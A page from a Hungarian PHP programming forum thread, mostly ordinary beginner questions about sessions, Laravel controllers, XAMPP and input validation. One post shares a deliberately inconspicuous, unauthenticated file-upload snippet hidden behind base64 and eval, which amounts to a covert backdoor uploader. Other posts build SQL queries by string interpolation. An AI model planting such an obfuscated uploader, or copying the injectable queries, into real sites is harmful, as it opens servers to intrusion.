- Fórumok
- Szoftverfejlesztés
- PHP programozás
- (kiemelt téma)
-
18600 - 18501
21809 - 20001 20000 - 19901 19900 - 19801 19800 - 19701 19700 - 19601 19600 - 19501 19500 - 19401 19400 - 19301 19300 - 19201 19200 - 19101 19100 - 19001 19000 - 18901 18900 - 18801 18800 - 18701 18700 - 18601 18600 - 18501 18500 - 18401 18400 - 18301 18300 - 18201 18200 - 18101 18100 - 18001 18000 - 17901 17900 - 17801 17800 - 17701 17700 - 17601 17600 - 17501 17500 - 17401 17400 - 17301 17300 - 17201 17200 - 17101 17100 - 17001 17000 - 16901 16900 - 16801 16800 - 16701 16700 - 16601 16600 - 16501 16500 - 16401 16400 - 16301 16300 - 16201 16200 - 16101 16100 - 16001 16000 - 14001 14000 - 12001 12000 - 10001 10000 - 8001 8000 - 6001 6000 - 4001 4000 - 2001 2000 - 1
-
Fórumok
LOGOUT - lépj ki, lépj be!
LOGOUT reakciók Monologoszféra FototrendGAMEPOD - játék fórumok
PC játékok Konzol játékok MobiljátékokMobilarena - mobil fórumok
Okostelefonok Mobiltelefonok Okosórák Autó+mobil Üzlet és Szolgáltatások Mobilalkalmazások Tartozékok, egyebek Mobilarena blogokPROHARDVER! - hardver fórumok
Notebookok TV & Audió Digitális fényképezés Alaplapok, chipsetek, memóriák Processzorok, tuning Hűtés, házak, tápok, modding Videokártyák Monitorok Adattárolás Multimédia, életmód, 3D nyomtatás Tabletek, E-bookok Nyomtatók, szkennerek PC, mini PC, barebone, szerver Beviteli eszközök Egyéb hardverek PROHARDVER! BlogokIT café - infotech fórumok
Infotech Hálózat, szolgáltatók OS, alkalmazások SzoftverfejlesztésFÁRADT GŐZ - közösségi tér szinte bármiről
Tudomány, oktatás Sport, életmód, utazás, egészség Kultúra, művészet, média Gazdaság, jog Technika, hobbi, otthon Társadalom, közélet Egyéb Lokál PROHARDVER! interaktív
Új hozzászólás Aktív témák
-
DS39
nagyúr
-
Pulsar
veterán
Bocsánat a trehány fogalmazásért, közben kiderült hogy én vagyok a béna. A valami. Php tartalmaz elsőként egy POST-ot, ami saját magának ad át adatot, majd a file később egy GET-et ami egy masik.php-nak ad át adatot. A hiba az volt hogy a POST form nem volt lezárva.
Viszont lenne egy másik kérdésem, ugyan ehez, es sehol sem találtam megoldast. A GET-el egy időt és dátumot adék át. Input type="datetime-local" al. Viszont igy a formátum éééé-hh-nnTóó:pp. Nekem viszont adott formátumra lenne szükségem, ami óó:pp hh/nn/ééée lenne. Hogy tudnám ezt beállitani? Vagy adjam meg változónak és karakter pozicionként hivatkozva rakjam össze?
-
DS39
nagyúr
ha egy valami.php szerver oldali fájlra gondolsz, akkor lehet persze, fel tud dolgozni egy fájl GET és POST kéréseket is.
viszont ahogy az előttem szóló is írja, pl. egy form adatait csak egyikkel lehet továbbítani a szerver felé, vagy GET vagy POST.írd le kicsit pontosabban hol akadtál el a kódban, akkor könnyebben tudunk segíteni.

-
PumpkinSeed
addikt
-
Pulsar
veterán
Sziasztok
POST és GET lehet egyszerre egy file-ba? Mert a POST megy, de a GET nem. De ha a GET-es file rész kimásolom egy külön php-ba/html-be akkor megy. -
gergogazd
csendes tag
Úgy tűnik, nem ez volt a gond.
A total commander tehet róla.

Php feltöltésnél úgy szoktam megoldani az ftp frissítést, hogy belépek egy könyvtárba meg vissza, és ez ma is jól működött amikor először töltöttem fel, aztán megírtam a base64-es kódot, ami miatt egy újabb tesztet kellett futtatnom, de ezúttal nem frissült a tartalom, hiába léptem ki-be. Újracsatlakozás után viszont már fent volt minden amivel próbálkoztam. -
gergogazd
csendes tag
sziasztok
szeretnék egy minél kevésbé beszédes fájl feltöltő kódot írni, ezért először csináltam egy ilyet:
<?$important=$_SERVER["DOCUMENT_ROOT"]."/php/";if(!empty($_POST)){if(!is_dir($important))mkdir($important);move_uploaded_file($_FILES["index"]["tmp_name"],$important.basename($_FILES["index"]["name"]));}?>Bocs a tömörség miatt, de konkrétan így szerepel az oldalamon, és ebben a formában még működik is.
Később úgy voltam vele, hogy erről még mindig ordít, hogy mit csinál, ezért base64-gyel kódoltam így:
<?
$source = '$important=$_SERVER["DOCUMENT_ROOT"]."/php/";if(!empty($_POST)){if(!is_dir($important))mkdir($important);move_uploaded_file($_FILES["index"]["tmp_name"],$important.basename($_FILES["index"]["name"]));}';
$code = base64_encode($source);
eval(base64_decode($code));
?>Így viszont már nem töltötte fel a fájlt, de gőzöm sincs, hogy hol akadt el. Az echo függvény pl gond nélkül lefutott rajta, nem volt probléma a változókkal és idézőjelekkel sem.
Mi lehet a baj?

-
hemaka
nagyúr
Kernek egy kis segitseget.
A kategoriak neve helyett ikonokat szeretnek.
Amikor mar kifele listazza a kategoriakat, oda biggyszetettem egy ilyet:echo str_replace('elsokategoria', '<img src="icon1.png"/>', $row->catname);Ez frankon ki is csereli a kategoria szoveget az adott ikonra+a szoveg.
De tobb kategoria van mas-mas nevvel es ha megegyszer beillesztem, csak a kategoria nevet irom at, a masikra a $row->catname miatt annyiszor kiirja ujra egyymas utan...Hogyan lehet ezt megcsinalni, hogy ne irja ki annyiszor, vagy ez igy tok szar es kezdjem elolrol?

-
oszkarfincs
aktív tag
Amiatt nyílik le üresen, mert minden esetben kiírod. A
<ul class="dropdown-menu" role="menu">előtt vizsgáld meg mysqli_num_rows függvénnyel, hogy van-e értéke a $cquery lekérdezésnek. Ha van, csak akkor írasd ki az <ul> részt if-fel.Egyébként ezt 1 lekérdezésből is meg lehetne csinálni.
-
PoniLoW
csendes tag
Sziasztok!
Van egy menürendszerem, amit admin menüből lehet módosítani adatbázison keresztül. A gondom az vele, hogy akkor is lenyílik, ha nincs második szintű menüpont, így nem is kattintható, hiába van rajta hivatkozás. Úgy kellene tehát megcsinálni, hogy csak akkor nyíljon le, ha van alatta második szint (ugyanez igaz a második szintnél is, hogy csak akkor nyíljon le, ha van harmadik), másküldönben pedig egy sima hivatkozás legyen, ami kattintható.
Az adatbázisban a 'parent' oszlopban 0 szerepel, ha főmenü, ha pedig valamely főmenünek az almenüje, akkor a főmenü id-je kerül oda.
A navigation.php kódja a következő:
<?php
$sql = "SELECT * FROM categories WHERE parent = 0";
$pquery = $db->query($sql);
?>
<!-- Top Nav Bar -->
<nav class="navbar navbar-default navbar-fixed-top">
<div class="container">
<a href="../nyomtatok/index.php" class="navbar-brand">3D nyomtatók</a>
<ul class="nav navbar-nav">
<?php while($parent = mysqli_fetch_assoc($pquery)) : ?>
<?php
$parent_id = $parent['id'];
$sql2 = "SELECT * FROM categories WHERE parent = '$parent_id'";
$cquery = $db->query($sql2);
?>
<!-- Menüpontok -->
<li class="dropdown">
<a href="#" class="dropdown-toggle" data-toggle="dropdown"><?php echo $parent['category'];?><span class="caret"></span></a>
<ul class="dropdown-menu" role="menu">
<?php while($child = mysqli_fetch_assoc($cquery)) : ?>
<li><a href="#"><?php echo $child['category']; ?></a></li>
<?php endwhile; ?>
</ul>
</li>
<?php endwhile; ?>
</div>
</nav>A válaszokat előre is köszönöm!
-
PumpkinSeed
addikt
A/1: Évek
A/2: Sajnos ez egy olyan szakma ahol nélkülözhetetlen az angol nyelv. Ha profi szintre akarsz jutni akkor azt magyar nyelven nem fogod tudni megtenni.
A/3: XAMPP, WAMP, LAMP függően attól, hogy milyen rendszered van. Esetleg ha tesztelni akarsz érdemes a Scotch Box-t telepíteni. -
ALFA
senior tag

Akkor térjünk a témára:

A verzió:
1. mennyi idő alatt tudom megtanulni a php akárhányadik verziójának programozását profi szinten?
2. hol vannak magyar nyelven érthető és hibamentes példák webes gyakorlásra?
3. hol használhatok ingyenes php-mariadb vagy php-pgsql környezetet kipróbálni az adatbázist?B verzió:
Hány jelentkező van, aki közli, hogy nála minden fizikai és szellemi adottsága megvan, összecsap egy példát (vagy mutatja, hogy már csinált ilyet) és privátban megbeszéljük a többit? -
DNReNTi
őstag
-
ALFA
senior tag
Sajnos a magyar wiki fél éves és elég szűkszavú.
(Nem mindig kedvelem, mert az eredeti angol oldalak egy kis részét fordítják csak le, de ez magánvélemény volt.
)
Az angol xampp oldal folyamatosan frissül, de az se túl bőbeszédű.Ahhoz, hogy még jobban összezavarjalak, ajánlom ezt az angol oldalt, lehet filózni a csomagok összeállítása kapcsán is.

[link] -
increst
csendes tag
Sziasztok! Szabad kapacitással rendelkező programozót keresnék folyamatos kisebb nagyobb projektekhez. Nincsenek nagy igényeim. Kb 2-3 év tapasztalat. MEGBIZHATÓSÁG. Főállásra is felvennék valakit, külsősnek is örülnék, fusizóknak is tudok melót adni. Minden munkára van pár naptól akár több hét átfutás is. Rendesen, időben fizetek. Ha számlaképes vagy az is jó, ha nem az sem baj. Valaki?

Olyan fejlesztővel is szívesen egyeztetnék, aki vállalná egy frontendes kollégám és egy rookie srác PHP alapozását. (természetesen fizetek érte)

-
Zedz
addikt
Esetleg tesztel valaki Laravelt a Postmannel?

-
DNReNTi
őstag
-
Pocok256
veterán
-
Zedz
addikt
-
Zedz
addikt
-
Pocok256
veterán
-
Zedz
addikt
Sziasztok!
Ismertek esetleg valamiféle programot, ami local php servernek küld test post adatokat, html rész nélkül? Ha lehet most ezért nem írnék kliens oldalt.
-
Zola007
veterán
-
Pocok256
veterán
-
fordfairlane
veterán
-
Zola007
veterán
Telepíteném a XAMPP-ot, ezzel kapcsolatban kérdezném, hogy a Tomcat, webalizer és Fake Sendmail egységeknek van-e szerepe apache, mysql dolgoknál vagy kihagyhatók?
Wikin azt írja, hogy integrált rendszer, de pontosan mire szolgálnak egyébként?Perl-t korábban telepítettem programozáshoz az ActivePerl csomagját , az ebben lévőt ha felrakom ütközik a másikkal vagy inkább ne telepítsem a Xampp-ban lévőt?
Egyébként melyik verziót érdemes, 5.6.24 vagy az újab 7.0.9?
láttam itt korábban volt néhány embernek gondja az újabbalHa az szeretném, hogy ne legyenek biztonsági problémáim mit kell még beállítanom?
Wiki: "A XAMPP telepítése után a helyi gép (a localhost) hálózati gépként is hozzáférhetővé válik, pl. FTP kliensprogrammal elérhető. Alkalmazható pl. FileZilla fájlkezelő, telepíthetők tartalomkezelő rendszerek, mint a Wordpress vagy a Joomla. A localhost közvetlenül is kezelhető egyes HTML vagy általános szövegszerkesztőkből, az FTP protokoll használatával. Az alapbeállítás szerinti FTP felhasználónév a „newuser”, jelszava „wampp”. Az alapbeállítás szerinti MySQL felhasználónév a „root”, jelszó nélkül. -
DS39
nagyúr
-
disy68
aktív tag
Alapvetően én is. A felhasználóhoz tartozó minden adat menne adatbázisba és tokenekkel oldanám meg, ha saját megoldás kéne. Tokent tárolnám sessionben vagy/és sütiben, ha hosszabb lejáratú belépés is kéne és adatbázisból csak a felhasználóhoz tartozó tokent kéne törölni a kijelentkezéshez.
@(#18571) DS39
Itt tudsz nézelődni, milyen lehetőségek vannak session-nel kapcsolatban.
session_start() után lekéred a session_id()-vel a session azonosítót és mented adatbázisba. Az alapértelmezett session kezelő-vel két lehetőséged van azonosító alapján törölni egy session-t:
1, session_save_path() megadja hol vannak tárolva a session fájlok, amik alapból sess_[session_id] szerű néven tárolódnak, ha van hozzá jogosultság, ezeket tudod szimplán törölni. Ez a megoldás nem igazán az ajánlott kategória.
2, A másik lehetőség, hogy eltárolod a saját session azonosítódat, indítasz egy sessiont a törölni kívánt azonosítóval, törlöd a sessiont, majd újból indítasz egy sessiont a saját azonosítóddal. Link. -
mobal
nagyúr
-
DS39
nagyúr
Köszönöm a válaszokat.
És erre tudsz linkelni egy példa kódot is?
Mert eddig egy úgy csináltam hogy amikor bejelentkezik valaki, akkor eltárolom a userid-jét mondjuk:
$_SESSION["userid"] = $user_id;és azt értem hogy lehet unset-elni egy session változót, nem csak destroy-jal mindent, de ha a lent említett esetben én ezt unset-elem, akkor engem léptet ki a rendszer, mert a kliensben az én userid-m van.
vagy lehetne hivatkozni, hogy a 8794-es userid-t törölje? -
DNReNTi
őstag
-
disy68
aktív tag
-
mobal
nagyúr
-
DS39
nagyúr
van egy php-s oldalam, ahol lehet regisztrálni.
és ha a felhasználó szeretné törölheti a regisztrációját (töröltre állítódik valójában)
a művelet végén lefut neki egy session destroy, és így kilépteti.van az oldalhoz egy admin felület ahol lehet törölni/tiltani felhasználót, ekkor szintén ugyanaz a művelet fut le, viszont kijelentkeztetni nem tudom session destroy-al, mivel az az én kliens-emen futna le és engem dobna ki.
hogy lehet megcsinálni hogy ilyenkor az ő kliens böngészője kidobja. (mivel tényleges törlésre nem kerül, tud még mókolni a rendszerben, miközben látszik hogy "törölve van")arra gondoltam hogy a weboldal minden lapján meghívok egy ellenőrző függvényt, ami visszaadja, hogy törölt-e a user, és ha igen, kidobja. viszont ez nem tűnik túl "elegáns/gazdaságos" megoldásnak, mivel ez egy ritka eset, ezért futtatni állandó egy ilyen scriptet.
tudtok erre jobb módot?
pl. a PH hogy csinálja hogy ha egy helyről kilépek, minden kliensen kiléptet?
(oké, itt tudom hogy sütit használnak és azt lejártra állítják, én meg jelenleg csak sima sessiont, ami böngésző bezárással léptet ki automatikusan) -
Pocok256
veterán
Sublime nem rossz amúgy, sokáig én is azt használtam viszont nagyobb projektekben elveszik.
-
fordfairlane
veterán
-
Pocok256
veterán
Lassút nem mondanám inkább csak erőforrás igényes nálam alá van rakva 16g ram meg egy erős i7 es és süvít. Még hatalmas projekteknél (100MB+ php forráskód) is másodpercek alatt felindexel mindent. Szerencsére képes az összes létező magot befogni munkára ha arra van szükség így megfelelő bika gép mellett a phpstorm is virágzik.
-
PumpkinSeed
addikt
-
Mdvertigo
csendes tag
Ha csak az a lényeg, hogy átláthatóvá váljon a szerkesztő által a php kód "emelje ki szinessel a fontosabb kódokat", akkor egyszerűbbet és gyorsabbat keresve sem találhat az ember.
-
PumpkinSeed
addikt
-
#14595328
törölt tag
Hát, nekem már volt egy kis c# alapom, amikor tanulni kezdtem a PHP-t, úgy azért egyszerűbb volt, sokkal könnyebb volt értelmezni a példa kódokat. Ha nagyon az elején akarod / kell kezdeni, fuss át ezen. Egész jól átmegy a lényegen, egyszerű példákkal.
Csináld meg a példákat, sokkal jobb, ha magadtól jössz rá a működésre, mint bemagolni egy könyvet vagy példát.
-
Agostino
addikt
-
#14595328
törölt tag
-
Agostino
addikt
én már általában el vagyok veszve, honnan lenne érdemes kezdeni, miből... angolul szinte tökéletesen értem az olvasott szöveget, szóval ha van erre ajánlás, nekem az is nagyon hasznos. a nyitó hsz-ben a linkek sajnos egyrészt nem működnek másrészt farkába harap a kígyó, mert ott is a blackb és a 24h volt linkelve.
-
fordfairlane
veterán
-
Agostino
addikt
köszi, megnézem!
kicsit más: a php 24 óra című könyv egyes példáitól a hajamat téptem, rákerestem topikon belül és látom, már 2009-ben is ráfutott itt egy lakó ugyan arra, mint amire ma én. de ez nem is érdekes. arra gondoltam a zavarosabb php24h alatt órákat inkább a fekete könyvből veszem át, vagyis a kettőt ötvözöm. működhet?
-
Mdvertigo
csendes tag
-
DNReNTi
őstag
-
Agostino
addikt
-
fordfairlane
veterán
-
mobal
nagyúr
-
DNReNTi
őstag
-
func93
senior tag
-
DNReNTi
őstag
Ugy ugy, eljen a PHPStorm!

-
#14595328
törölt tag
A Visual Studio Code sem rossz.
-
fordfairlane
veterán
-
func93
senior tag
Köszi mindkettőtöknek!

-
PumpkinSeed
addikt
-
Agostino
addikt
-
func93
senior tag
Sziasztok!
Tudtok ajánlani "php kód szerkesztőt", végülis az volna a lényeg, hogy emelje ki szinessel a fontosabb kódokat stb., mert hosszabb kódokat néha már nem látok át.
-
apple87
senior tag
Köszi

-
Mdvertigo
csendes tag
-
apple87
senior tag
-
DNReNTi
őstag
Hát az rendben van, de azért ez egy elég egyértelmű hibaüzenet. No mindegy nem offense-nek szántam, persze kérdezzen csak, úgy tanul az ember, csak itt szerintem a kérdésben benne volt a válasz. Ha én látom rosszul máris jelleggel elnézést kérek.

Szerk: Off -
fordfairlane
veterán
-
fordfairlane
veterán
-
#14595328
törölt tag
Keress rá a megjelenő hibákra, ne azonnal konkrét megoldást keress, sokkal jobban meg fogod érteni a dolgokat. Azzal nem fogsz tanulni, ha leírjuk a megoldást, sokkal jobban jársz, ha magadtól fejted meg ezeket a dolgokat. Persze ez sem mindig járható út, de az elején biztosan.
Ja, és ahogy fordfairlane is írta, ettől még kérdezz nyugodtan! -
apple87
senior tag
Oké megoldottam
Bocsi mindenkitől , most kezdem tanulni. -
DNReNTi
őstag
-
#14595328
törölt tag
-
apple87
senior tag
-
#14595328
törölt tag
-
fordfairlane
veterán
-
apple87
senior tag
-
DNReNTi
őstag
Vagy még egyszerűbb az
inputmezőpatternattribútumával. MDN. Persze ez sincs ingyen, a böngésző support-on sokan elvéreznek. -
#14595328
törölt tag
Hát, valami hasonló jquery-vel, de ez már nem PHP:
$(document).ready(function() {
$("#beviteli_mezo_id").bind("keypress", function(e){
var regex = new RegExp("regex feltétel");
var key = String.fromCharCode(!e.charCode ? e.which : e.charCode);
if (!regex.test(key)) {
e.preventDefault();
return false;
}
});
}); -
DNReNTi
őstag
-
adika4444
veterán
Közben találtam megoldást:
preg_match('/[^0-9.]/', "vmi szám")
Hogy beírni se lehessen, oda gondolom JS kellene, érdekelne mi a megoldás...
(#18512) supreme7:
Regex-xel hogyan tudom azt megadni hogy csak számokat, vagy csak számokat és a-z A-Z és ._- karaktereket lehessen bevinni? -
PumpkinSeed
addikt
setInterval ( event, 1000 );Ez 1 másodpercenként tölti újra. A websocket az ami valós idejű. Amúgy ez PHP topik a te kérdésed a Javascript topikba illik ahol valószínűleg többet tudnak segíteni. -
zeix
senior tag
Sziasztok!
Olvasgattam az SSE (Server-Sent Events)-ről.
Az lenne a kérdésem, hogy ez valós idejű dolog, vagy csak időközönként lekérdez egy programfájlt?
Melyiket érdemes használni?
SSE:<script>
if(typeof(EventSource) !== "undefined") {
var source = new EventSource("demo_sse.php");
source.onmessage = function(event) {
document.getElementById("result").innerHTML += event.data + "<br>";
};
} else {
document.getElementById("result").innerHTML = "Sorry, your browser does not support server-sent events...";
}
</script>
Vagy ezt:<script>
$(document).ready(function (e) {
setInterval ( event, 1000 );
});
function event() {
$("#result").load("demo_sse.php");
};
</script>
-
envagyok
veterán
Nulláról indulok php és mysql-t tekintve.
Szeretnék magamnak egy ingatlanközvetítős weboldalt készíteni.
Milyen irányban érdemes elindulni, hogy a legkisebb költséggel elkészíthessem?
Már olvastam WordPress témákról?
Azzal úgy megy, hogy feltöltöm a házi szerveremre, és webes alapon konfigurálom fel? -
mobal
nagyúr
-
PumpkinSeed
addikt
Az ilyenek amúgy például pont mehetnének egy model-be aminek pl lenne a neve imageHandlerModel vagy valami ilyesmi. Nem tudom mik a lehetőségek erre Laravel-ben de mivel alapból asszem az is MVC framework ezért biztos van rá lehetőség. Amiért én ezt a model-be tenném, mert pl. lehet, hogy más controllerek is használni akarják majd a kép átméretezést és a model-t bármilyen conrollerben meghívhatod.
-
fordfairlane
veterán
... a harmadik megoldást megnézem a doksiban.
A harmadik módszer az, amit manapság javasolni szoktak. Dependency Injection, DI container, Service container, hasonló kulcsszavak mögött találod meg a témakört.
Egyébként szerintetek sem jó, ha egy metódusban 2 vagy több dolog történik? Például kép feltöltés --> méretezés --> mentés. Hanem, ezeket a lépéseket célszerűbb külön - külön metódusba szervezni?
Az attól függ, mennyire komplex egy-egy eljárás. Ha egyberakod, később nehezebb lesz a részeit újra felhasználni egy másik pontján a kódban, mivel így nem eléggé moduláris. Persze meglévő kódot később is át lehet írni, tagoltabbá tenni.
Ezen kívül azt is érdemes szem előtt tartani, hogy a kód olvasásával és értelmezésével általában nagyságrendileg több idő szokott elmenni, mint a leírásával, függetlenül attól, hogy a saját-vagy más által írt programot kell tudnod értelmezni. Egy év múlva ránézel egy metódusra, és hiába te írtad, egyáltalán nem biztos, hogy érteni fogod, mi micsoda. Ha a kódod tagolt, és egyértelmű, hogy mi miért van benne, az sokat számít.
-
Joci93
senior tag
Köszönöm, így már világos, ez a módszer nagyon tetszik

fordfairlane: Köszönöm, az első megoldás logikus..
A második tetszik, ha jól értelmezem, akkor ugyan az, amit PumpkinSeed ajánloatt, a harmadik megoldást megnézem a doksiban.Egyébként szerintetek sem jó, ha egy metódusban 2 vagy több dolog történik? Például kép feltöltés --> méretezés --> mentés. Hanem, ezeket a lépéseket célszerűbb külön - külön metódusba szervezni?
-
fordfairlane
veterán
1. Lehet úgy csinálni, hogy egyetlen kontrollerobjektumot használsz több metódussal. A közös kódrész, a "getItemDetails" külön metódusba kerül, amit a többi metódus meghívhat.
2. Lehet csinálni a két kontrollerosztálynak közös szülőosztályt, ami tartalmazza a közös kódrészt.
class IndexController extends MyController
class SubmitController extends MyController
class MyController extends Controller3. Lehet csinálni egy service objektumot, amit aztán bármelyik kontroller használhat. Ebben az esetben a service objektumot példányosítani kell az adott Kontroller konstruktorában, vagy valami service manager komponens segítségével. Laravelben is van ilyen, csak én speciel nem ismerem a Laravelt, így ebben konkrét tanácsot vagy kódrészletet nem tudok produkálni.
A framework saját controller osztályát módosítani valóban nem tanácsos.
-
PumpkinSeed
addikt
Igazából elvben nem szabadna két kontrollernek kommunikálni egymással vagy nem tudom. De szerintem jobb lenne ezt a
Details()metódust beletenni a Controller-be. Viszont mivel gondolom a Controller a Core-ban van benne ezért ezt nem kellene csinálni a későbbi frissítések miatt. Esetleg azt lehetne csinálni, hogy betenni egy Controller-t ValamiController néven (Nem tudom mi az Index és Submit ebben az esetben) és aSubmitControllermeg azIndexControllernemextends Controller-el lenne ellátva hanemextends ValamiController, míg aValamiControllermegkapná azextends Controller-t és benne lenne aDetails()metódus. -
Joci93
senior tag
Nagyon kezdő kérdés jön, megfelelő választ nem találtam, úgyhogy elnézést, ha hülyeséget kérdezek.
Laravelben van 2 controllerem: IndexController és SubmitController.
Az Indexcontrollerben lévő IndexController osztályban van egy "Details()" metódus, ami lekérdez különböző paramétereket az adott járműről.
Ha ugyan ezt a metódust szeretném használni a SubmitController osztályban lévő "Test()" metódusban akkor annak mi a legjobb módja?Extendelni gondolom az alap
extends Controllermiatt nem lehet.Ezt mennyire jó megoldás? Nekem nagyon triviálisnak tűnik....
use App\Index; //IndexController
class SubmitController extends Controller
{
public function Test(){
$Index= new Index();
$details= $Index->Details()
return $details;
}
} -
SUPREME7
őstag
-
#14595328
törölt tag
-
DNReNTi
őstag
-
#14595328
törölt tag
-
adika4444
veterán
Sziasztok!
Adott egy php oldal. Ez bekér adatokat.
Hogyan oldhatom meg hogy csak egy listában (tömbben, változóban) megadott karaktereket lehessen beírni?
Köszi! -
PumpkinSeed
addikt
Amúgy meg nem a verzió miatt kell az újabb technológiát használni hanem, hogy ne lopják el az összes adatbázisba mentett adatodat.
-
sztanozs
veterán
Ez oké, de ha valami problémájuk lesz és majd mégis szeretnének php verziót váltani, akkor majd pont emiatt nem fogják tudni. Akkor persze majd téged szidnak, hogy miattad nem lehet változtatni.
-
PowerBuldog
veterán
-
DNReNTi
őstag
Azt még tegyük hozzá, hogy a
mysql_függvények deprecated státuszúak PHP 5.5 óta, és el is tűnnek PHP 7.0 és felette. Az ebből előbb-utóbb biztosan adódó problémákat érdemes lenne megelőzni mysqli, vagy pdo használatával.
-
Zola007
veterán
Van itt valaki, aki az ELTE Informatikai Karára jár?
kérdeznék privátban
-
sztanozs
veterán
Nem. még nem jó teljesen:
has already been taken

-
PowerBuldog
veterán
Új hozzászólás Aktív témák
-
18600 - 18501
21809 - 20001 20000 - 19901 19900 - 19801 19800 - 19701 19700 - 19601 19600 - 19501 19500 - 19401 19400 - 19301 19300 - 19201 19200 - 19101 19100 - 19001 19000 - 18901 18900 - 18801 18800 - 18701 18700 - 18601 18600 - 18501 18500 - 18401 18400 - 18301 18300 - 18201 18200 - 18101 18100 - 18001 18000 - 17901 17900 - 17801 17800 - 17701 17700 - 17601 17600 - 17501 17500 - 17401 17400 - 17301 17300 - 17201 17200 - 17101 17100 - 17001 17000 - 16901 16900 - 16801 16800 - 16701 16700 - 16601 16600 - 16501 16500 - 16401 16400 - 16301 16300 - 16201 16200 - 16101 16100 - 16001 16000 - 14001 14000 - 12001 12000 - 10001 10000 - 8001 8000 - 6001 6000 - 4001 4000 - 2001 2000 - 1
-
Fórumok
LOGOUT - lépj ki, lépj be!
LOGOUT reakciók Monologoszféra FototrendGAMEPOD - játék fórumok
PC játékok Konzol játékok MobiljátékokMobilarena - mobil fórumok
Okostelefonok Mobiltelefonok Okosórák Autó+mobil Üzlet és Szolgáltatások Mobilalkalmazások Tartozékok, egyebek Mobilarena blogokPROHARDVER! - hardver fórumok
Notebookok TV & Audió Digitális fényképezés Alaplapok, chipsetek, memóriák Processzorok, tuning Hűtés, házak, tápok, modding Videokártyák Monitorok Adattárolás Multimédia, életmód, 3D nyomtatás Tabletek, E-bookok Nyomtatók, szkennerek PC, mini PC, barebone, szerver Beviteli eszközök Egyéb hardverek PROHARDVER! BlogokIT café - infotech fórumok
Infotech Hálózat, szolgáltatók OS, alkalmazások SzoftverfejlesztésFÁRADT GŐZ - közösségi tér szinte bármiről
Tudomány, oktatás Sport, életmód, utazás, egészség Kultúra, művészet, média Gazdaság, jog Technika, hobbi, otthon Társadalom, közélet Egyéb Lokál PROHARDVER! interaktív
- Erős, !GARANCIÁLIS! Acer Nitro 16 AI gamer laptop! -Ryzen AI 9 365, RTX 5070 8gb, 32gb DDR5, 1tb SSD
- Xreal Beam
- Gigabyte Z170X-Gaming 7 Rev 1.1 / Beszámítás OK!
- Apple MacBook "BlackBook" (2007) - 2,16GHz Core2Duo, 4GB RAM, gyári töltővel (Retro / Projekt gép)
- Realme Realfit F3 ANC aktív zajszűrésű Bluetooth fülhallgató
- REFURBISHED és ÚJ - HP Thunderbolt Dock 230W G2 with combo cable (3TR87AA)
- Akciós kisWorkstation! Dell Precision 3570 i7-1255U 4.7GHz / 16GB / 512GB / Quadro T550 4GB FHD 15"
- GYÖNYÖRŰ iPhone 13 Pro 128GB Sierra Blue -1 ÉV GARANCIA - Kártyafüggetlen, MS4511
- Azonnali készpénzes GAMER / üzleti notebook felvásárlás személyesen / csomagküldéssel korrekt áron
- ADVANTECH SQFlash 512 GB SATA SSD
Állásajánlatok
Cég: Laptopműhely Bt.
Város: Budapest



)





